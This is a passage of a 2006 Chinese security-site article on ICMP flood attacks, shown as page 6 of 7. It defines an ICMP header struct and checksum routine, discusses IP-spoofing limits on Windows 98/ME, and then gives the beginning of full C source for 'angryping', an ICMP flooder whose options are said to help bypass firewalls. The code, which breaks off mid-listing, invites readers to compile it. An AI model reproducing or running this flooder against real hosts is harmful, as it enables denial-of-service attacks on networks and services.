通行证: 用户 密码 域名空间  下载中心 社区论坛 信息公告 my小屋
联系我们
设为首页
加入收藏

 

qq,asp,php,jsp,xml,sql,.net,编程 程序 网页图象 建站经验 私服
首页 | 新闻资讯 | 编程开发 | 网页设计 | 图形图象 | 网络媒体 | 网站模板 | 数 据 库 | 投稿
论坛 | 操作系统 | 系统优化 | 网络安全 | 黑客技术 | 硬件学堂 | 硬件报价 | 服 务 器 | 地图
专题 | 应用软件 | 聊天通讯 | q q 专栏 | 建站经验 | 在线工具 | 站长club | 注 册 表 | 旧版
社会 | 游戏娱乐 | 设计欣赏 | 疑难解答 | 社区论坛 | 韩国素材 | 素材图库 | 广告服务 | 服务
当前位置:首页>>网络安全>>安全新手>>正文 新版上线![旧版]
注:打开慢时请稍等

互联网的巨大威胁 icmp洪水攻击浅析

http://www.iyit.net  日期:2006-5-30 10:05:40  来源:hbu小组   点击:
参加讨论

  2.icmp报文的声明

  一个icmp报文包括ip头部、icmp头部和icmp报文,用ipproto_icmp创建这个类型的ip包,用以下结构填充:

typedef struct _ihdr
{
byte i_type; //8位类型
byte i_code; //8位代码
ushort i_cksum; //16位校验和
ushort i_id; //识别号
ushort i_seq; //报文序列号
ulong timestamp; //时间戳
}icmp_header;

  这样我们就声明了一个icmp报文结构,就等后面的填充了。
 3.校验和

  计算方法:先设置头校验和域的数值为0,然后对整个数据报头按每16位求异或,再把结果取反,就得到了校验和。

  函数:

ushort checksum(ushort *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(ushort);
}
if(size )
{
cksum += *(uchar*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (ushort)(~cksum);
}

  4.必须注意的问题

  由于win98/me系统不支持ip-spoof,所以无法用setsockopt设置ip_hdrincl让用户自己填充ip头部,所以win98/me不能实现ip伪造!如果有人做的号称能伪造ip的工具而且又支持win98/me,那一定是吹出来的,因为这是系统限制,程序没法解决的。而且自己填充ip头部后,checksum就不是由系统计算了,这时候你的checksum计算函数就变成瓶颈了,这就是伪造ip后的flooder发送速度不够系统计算checksum的flooder快的原因了,除非优化过checksum函数。限于篇幅,采用ip-spoof技术的fakeping和smurf就不讨论了。

  5.完整代码

  做一个console application工程,输入下面的代码。如果优化得当,最终编译生成的exe也就4096字节而已,呵呵,just do it……

==================================================
/*
agp.c

angryping -- icmp flooder by hbu·小金(lk007)
copyright© 2002
e-mail:lk007@163.com
*/

#include <stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
//头文件和库文件声明,如果不能编译,请在link里加上ws2_32.lib

#define false 0
#define true 1

#define seq 0x28376839

// 定义icmp首部
typedef struct _ihdr
{
byte i_type; //8位类型
byte i_code; //8位代码
ushort i_cksum; //16位校验和
ushort i_id; //识别号
ushort i_seq; //报文序列号
ulong timestamp; //时间戳
}icmp_header;

//计算校验和的子函数
ushort checksum(ushort *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(ushort);
}
if(size )
{
cksum += *(uchar*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (ushort)(~cksum);
}

int main(int argc, char **argv)
{
int datasize,errorcode,flag;
int timeout=2000, sendseq=0, packetsize=32,type=8,code=0,counter=0; //默认数据声明
char sendbuf[65535]={0}; //缓冲
wsadata wsadata;
socket sockraw=(socket)null;
struct sockaddr_in destaddr;
icmp_header icmp_header;
char destip[20]; //目标ip

if (argc<2)
{
printf("angryping by hbu-lk007\n");
printf("usage:%s [dest] <packetsize> <type> <code>\n",argv[0]);
//允许用户自定义数据包大小、类型、代码,用以绕过一些防火墙或做一些特殊的报文flood
exit(0);
}
strcpy(destip,argv[1]);
if (argc>2) packetsize=atoi(argv[2]); //取得数据大小
if (packetsize>65500)
{
printf("packet size must less than 65500\n"); //太大会无法生成ip数据报的
exit(0);
}

if (argc>3) type=atoi(argv[3]); //取得类型值
if (type>16)

本新闻共7页,当前在第6页  1  2  3  4  5  6  7  


编辑:黑鹰 [发送给好友] [打印本页] [关闭窗口] [返回顶部]
上一篇:最经典的黑客入门教材
下一篇:没有了
转载请注明来源:www.iyit.net
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。

 相关文章
最新更新 热点排行 推荐新闻
互联网的巨大威胁 icmp洪水攻击浅析
最经典的黑客入门教材
如何入侵能建立ipc$空衔接的主机 
教你一招快速修复、防护ie浏览器
局域网防雷电攻击完全揭密
细问细答 lcd“十万个为什么”
必看10大常装机过程中常规性错误 
家庭路由器选购实用技巧(图)
解决系统与硬盘的内部冲突(上)
解决操作系统与硬盘的内部冲突(下) 
层层剖析 挖掘液晶显示器的秘密
互联网的巨大威胁 icmp洪水攻击浅析
最经典的黑客入门教材
如何入侵能建立ipc$空衔接的主机 
教你一招快速修复、防护ie浏览器
入侵常用tcp端口作用及其操作建议之二
hijackthis日志细解正文(五)
bitcomet超级优化设置
入侵常用tcp端口作用及其操作建议之二
入侵常用tcp端口作用及其操作建议之二
优秀公益广告作品欣赏(8)
java数据类型转换
windows xp专业版iis连接数的更改
优秀公益广告作品欣赏(7)
qq最新版下载 2006 beta2 体验新感受 
office2007简体中文版浮出水面 美图抢
web服务器配置全攻略(三)
优秀公益广告作品欣赏(6)
优秀公益广告作品欣赏(4)
优秀公益广告作品欣赏(5)
传统计算机病毒传播能力破坏性在提高
内存为何有“两面性”
amd水货盒装cpu识别方法
ip地址资源2012年枯竭 部署ipv6很紧迫
古老问题有新解:世上先有鸡蛋后有鸡
dreamweaver mx 2004从零开始(1)
利用css改善网站可访问性
如何让mm的脸通透可人
msn8.0下载
asp 五大高效提速技巧
 友情链接
设置首 页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接
copyrights © 2004-2006 iyit.net all rights reserved.
网站合作、广告联系qq:147007642、466949678
易特网络技术 点击这里给我发消息